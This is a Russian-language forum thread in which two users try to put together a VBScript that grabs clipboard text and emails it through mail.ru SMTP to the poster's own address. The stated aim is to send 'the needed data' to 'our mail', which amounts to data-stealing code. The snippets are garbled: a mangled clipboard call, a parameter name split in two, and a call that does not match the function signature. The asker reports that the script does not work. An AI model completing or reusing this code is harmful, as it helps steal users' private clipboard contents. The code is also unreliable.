VBS for lamers => how to?

[aka_k4]

set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","ТВОЙ MAIL","ТВОЙ MAIL","ТЕМА","ТЕКСТ")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="ТУТ ВВОДИТЬ СВОЙ НИК НА WWW.MAIL.RU"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="ТУТ ПАРОЛЬ ОТ АККА"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25


я так понел, этот кусок кода поможет отправеть к нам на мыло нужные данные.
Как бэ реализовать отправку на мыло содержимое буфера обмена. Причом не чего попало, а тока те что быле переданы методом GetText.

Я так понел первоночально нужно : Text = Clipboard.Q«tT«xt([format]), но неношол в нете инфы по отправке этого дела на майл в текстовом виде.. кто падскажет?

[BrainDeaD]

ну походу так
strBody = Clipboard.Q«tT«xt([format])
если я всё правильно понял

[aka_k4]

А потом strBody на мыло? чо та не догоняю..чо та не робототет так.. хз..

[BrainDeaD]

Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
strBody - переменная содержащая тело письма.
я не увлекаюсь VBS, просто догадка, чисто логически.
хз чегоне работает. а Clipboard.Q«tT«xt([format]) что-то адекватное вообще выдаёт?

ах да. если взять полный код для отправки
Call SendPost("mail", "mail@mail.ru", "mail@mail.ru", "tema", Body)
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSMTP_Server
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 10
Flds.Update
iMsg.Configuration = iConf
iMsg.To = strTo
iMsg.From = strFrom
iMsg.Subject = strSubject
iMsg.TextBody = strBody
iMsg.Send
End Function

то переменная для текста будет Body, следовательно Body = Clipboard.Q«tT«xt([format])

[aka_k4]

спасибо , сейчас покумекаю... хотя колы уже нет и на часах 8.31 :(
----------------
Вобщем не понимаю.. кто знает?